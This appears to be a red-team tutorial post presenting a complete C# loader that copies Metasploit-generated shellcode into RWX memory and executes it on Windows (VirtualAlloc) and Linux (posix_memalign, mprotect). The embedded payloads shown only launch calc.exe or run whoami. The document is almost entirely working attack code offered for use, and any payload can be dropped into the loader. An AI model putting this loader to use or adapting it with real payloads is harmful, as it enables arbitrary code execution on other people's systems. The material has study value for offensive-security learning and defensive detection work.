Executing native payloads as unmanaged code on both linux and windows.
m3rcer
We write a program to execute native payloads as unmanaged code on both linux and windows. (using metasploit)
- We integrate the previous program to run native windows payloads along with some libs and conditions for handling linux execution:
We added libraries from
libc
to execute os cmds on linux.Added an
else-if
statement to check if its a linux system and execute payloads according to its architecture in the code block. - Note: If SeLinux is enabled it restricts RWX memory allocation. Try using Ubuntu.
CODE:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Runtime;
// Works on both Windows/ Linux
namespace msf_payload_using_Csharp
{
public class MainClass
{
// Importing VirtualAlloc() from kernel32.dll
[DllImport("Kernel32")]
static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);
delegate void WindowsRun();
// Importing 3 functions from libc - mprotect(), posix_memalign() and free()
[DllImport("libc")]
static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection);
[DllImport("libc")]
static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size);
[DllImport("libc")]
static extern void free(IntPtr ptr);
// UnamanagedFunctionPointer attr using Cdecl as Cdecl is calling convention of Linux
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
delegate void LinuxRun();
public static void Main(string[] arg)
{
// Identifies platform property
OperatingSystem os = Environment.OSVersion;
// Verifying architecture by check IntPtr size (4 for 32bit, 8 for 64bit)
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
//CMD = calc.exe
// shellcode gen for x86-x64 using msf
if (!x86)
payload = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
// shellcode gen for x86 using msf
else
payload = new byte[] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
// Returns ptr to allocated memory
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
// Copying payload directly to memory space
Marshal.Copy(payload, 0, ptr, payload.Length);
// Ref assembly as an unmanaged func ptr
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
// Calling delegated func to execute assembly code
r();
}
// Testing against magic integer values to determine if system is UNIX
else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128)
{
// CMD = whoami
if (!x86)
payload = new byte[] { 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x07, 0x00, 0x00, 0x00, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05 };
else
payload = new byte[] { 0x6a,0x0b,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73,0x68,0x00,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x07,0x00,0x00,0x00,0x77,0x68,0x6f,0x61,0x6d,0x69,0x00,0x57,0x53,0x89,0xe1,0xcd,0x80 };
//Allocating memory
// ptr at beginning of allocated memory
IntPtr ptr = IntPtr.Zero;
// value returned by memalign
IntPtr success = IntPtr.Zero;
// Incase allocation fails
bool freeMe = false;
try
{
// Default memory page size
int pagesize = 4096;
IntPtr length = (IntPtr)payload.Length;
// Will return IntPtr.Zero for succesfull allocation
success = posix_memalign(ref ptr, (IntPtr)32, length);
// If not succesfully allocated
if (success != IntPtr.Zero)
{
Console.WriteLine("[!] Bail! memalign failed: " + success);
}
// Changing mode to RWX
freeMe = true;
// Get page aligned memory space
IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1));
IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX
// IntPtr.Zero return for succesfully mode change
success = mprotect(alignedPtr, (IntPtr)32, mode);
if (success != IntPtr.Zero)
{
Console.WriteLine("[!] Bail! mprotect failed");
return;
}
Marshal.Copy(payload, 0, ptr, payload.Length);
LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
r();
}
finally
{
if (freeMe)
free(ptr);
}
}
}
}
}
OUTPUT:
- Calc.exe Popped! - Windows
- whoami run - UNIX